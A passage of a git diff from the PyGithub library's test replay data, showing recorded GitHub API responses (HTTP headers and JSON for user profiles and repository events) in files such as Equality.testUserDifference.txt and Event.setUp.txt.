ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"54f718a15770579a37ffbe7ae94ad30003407786","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/54f718a15770579a37ffbe7ae94ad30003407786","html_url":"https://github.com/jacquev6/PyGithub/commit/54f718a15770579a37ffbe7ae94ad30003407786"}]},"_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/branches/develop","html":"https://github.com/jacquev6/PyGithub/tree/develop"}} - diff --git a/tests/ReplayData/Equality.testUserDifference.txt b/tests/ReplayData/Equality.testUserDifference.txt index f3ea41a026..2424e998e2 100644 --- a/tests/ReplayData/Equality.testUserDifference.txt +++ b/tests/ReplayData/Equality.testUserDifference.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4981'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3448:4124825:52802149'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1130'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 09 Nov 2013 21:41:44 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"13ce14e257e7adc5b376a1f5e03d5c1d"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:14:02 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"login":"OddBloke","id":62736,"avatar_url":"https://2.gravatar.com/avatar/af881deb1a7ef0a1f568e18cd967c0d3?d=https%3A%2F%2Fidenticons.github.com%2F29c5b1cb9b545c69846a6542a71338bd.png&r=x","gravatar_id":"af881deb1a7ef0a1f568e18cd967c0d3","url":"https://api.github.com/users/OddBloke","html_url":"https://github.com/OddBloke","followers_url":"https://api.github.com/users/OddBloke/followers","following_url":"https://api.github.com/users/OddBloke/following{/other_user}","gists_url":"https://api.github.com/users/OddBloke/gists{/gist_id}","starred_url":"https://api.github.com/users/OddBloke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OddBloke/subscriptions","organizations_url":"https://api.github.com/users/OddBloke/orgs","repos_url":"https://api.github.com/users/OddBloke/repos","events_url":"https://api.github.com/users/OddBloke/events{/privacy}","received_events_url":"https://api.github.com/users/OddBloke/received_events","type":"User","site_admin":false,"public_repos":32,"followers":8,"following":1,"created_at":"2009-03-12T12:40:32Z","updated_at":"2013-11-09T21:41:44Z","public_gists":12} - diff --git a/tests/ReplayData/Equality.testUserEquality.txt b/tests/ReplayData/Equality.testUserEquality.txt index c061908b2b..18208d9a1f 100644 --- a/tests/ReplayData/Equality.testUserEquality.txt +++ b/tests/ReplayData/Equality.testUserEquality.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4979'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3447:28CA230:5280214C'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1494'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 10 Nov 2013 23:46:02 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"fe0984faabdc64453d942c3e3a992a39"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:14:04 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"name":"Vincent Jacques","company":"Amazon","blog":"http://vincent-jacques.net","location":"Seattle, WA, United States","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":18,"followers":29,"following":43,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-11-10T23:46:02Z","public_gists":5,"total_private_repos":3,"owned_private_repos":3,"disk_usage":90970,"collaborators":0,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":6} - diff --git a/tests/ReplayData/Event.setUp.txt b/tests/ReplayData/Event.setUp.txt index 1ea7b2b659..837c3ef7bf 100644 --- a/tests/ReplayData/Event.setUp.txt +++ b/tests/ReplayData/Event.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '44220'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"fef01e01dbfd77f945174529147fa3cb"'), ('date', 'Sat, 26 May 2012 11:01:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"PushEvent","payload":{"head":"619eae8d51c5988f0d2889fc767fa677438ba95d","size":11,"push_id":80673538,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":false,"message":"Merge branch 'develop'"},{"sha":"3a3bf4763192ee1234eb0557628133e06f3dfc76","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3a3bf4763192ee1234eb0557628133e06f3dfc76","distinct":true,"message":"Merge branch 'master' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\tgithub/Github.py\n\tgithub/Requester.py"},{"sha":"608f17794664f61693a3dc05e6056fea8fbef0ff","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/608f17794664f61693a3dc05e6056fea8fbef0ff","distinct":true,"message":"Restore some form of Authorization header in replay data"},{"sha":"2c04b8adbd91d38eef4f0767337ab7a12b2f684b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2c04b8adbd91d38eef4f0767337ab7a12b2f684b","distinct":true,"message":"Allow test without pre-set-up Github"},{"sha":"5b97389988b6fe43e15a079702f6f1671257fb28","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b97389988b6fe43e15a079702f6f1671257fb28","distinct":true,"message":"Test three authentication schemes"},{"sha":"12747613c5ec00deccf296b8619ad507f7050475","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/12747613c5ec00deccf296b8619ad507f7050475","distinct":true,"message":"Test Issue.getComments"},{"sha":"2982fa96c5ca75abe717d974d83f9135d664232e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2982fa96c5ca75abe717d974d83f9135d664232e","distinct":true,"message":"Test the new Repository.full_name attribute"},{"sha":"619eae8d51c5988f0d2889fc767fa677438ba95d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/619eae8d51c5988f0d2889fc767fa677438ba95d","distinct":true,"message":"Improve coverage of AuthenticatedUser"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-26T10:01:39Z","id":"1556114751","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":null,"ref_type":"repository","description":"Repo created by PyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/TestPyGithub","id":4454027,"name":"jacquev6/TestPyGithub"},"created_at":"2012-05-26T09:55:27Z","id":"1556114217","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"create","gist":{"created_at":"2012-05-26T09:50:02Z","public":true,"comments":0,"git_push_url":"git@gist.github.com:2793179.git","files":{},"updated_at":"2012-05-26T09:50:02Z","url":"https://api.github.com/gists/2793179","id":"2793179","git_pull_url":"git://gist.github.com/2793179.git","description":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://gist.github.com/2793179"}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-26T09:50:03Z","id":"1556113740","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","comments":0,"title":"Publish version 0.7","updated_at":"2012-05-25T17:32:32Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:32Z","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/29","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940993","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","comments":1,"title":"Implement all authentication schemes","updated_at":"2012-05-25T17:32:31Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:31Z","labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940986","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref_type":"tag","ref":"v0.7","description":"Python library implementing the full Github API v3"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936661","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DeleteEvent","payload":{"ref_type":"branch","ref":"topic/Authentication"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936660","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","size":4,"push_id":80573368,"ref":"refs/heads/master","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":true,"message":"Merge branch 'develop'"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936659","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","size":3,"push_id":80573367,"commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"}],"ref":"refs/heads/develop"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:47Z","id":"1555936657","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":"topic/Authentication","description":"Python library implementing the full Github API v3","ref_type":"branch"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:24:21Z","id":"1555833283","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","title":"Publish version 0.7","comments":0,"updated_at":"2012-05-25T11:47:59Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"created_at":"2012-05-25T11:47:06Z","due_on":"2012-05-26T07:00:00Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"open_issues":2,"closed_issues":0,"description":"","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/29","labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:02:48Z","id":"1555822981","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-25T06:31:42Z","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5924198","id":5924198,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","title":"Implement all authentication schemes","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":null,"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:31:42Z","id":"1555742639","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:05:21Z","id":"1555738288","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"527ce7459a2e60d1536883f19b9bc6850d71127b","size":5,"push_id":79877715,"commits":[{"sha":"287bc541542f9d32339e7dd4b36a511cab2ebdae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/287bc541542f9d32339e7dd4b36a511cab2ebdae","distinct":true,"message":"Generate more coverage information"},{"sha":"588a4a9a355096c00a2bb25f27664d2115e120ac","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/588a4a9a355096c00a2bb25f27664d2115e120ac","distinct":true,"message":"Test AuthenticatedUser watching"},{"sha":"815720f0deb376c34166c27b6e3b73e5c1f5b1a3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/815720f0deb376c34166c27b6e3b73e5c1f5b1a3","distinct":true,"message":"Test Authorization"},{"sha":"473c92adcd8bbbd32003d9c65666ede66059551b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/473c92adcd8bbbd32003d9c65666ede66059551b","distinct":true,"message":"Test Download and CommitComment"},{"sha":"527ce7459a2e60d1536883f19b9bc6850d71127b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/527ce7459a2e60d1536883f19b9bc6850d71127b","distinct":true,"message":"Merge commit 'c93f9cc8484b7' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\ttest/IntegrationTest.py"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:59:48Z","id":"1554729420","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:15:29Z","content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242562","id":242562,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/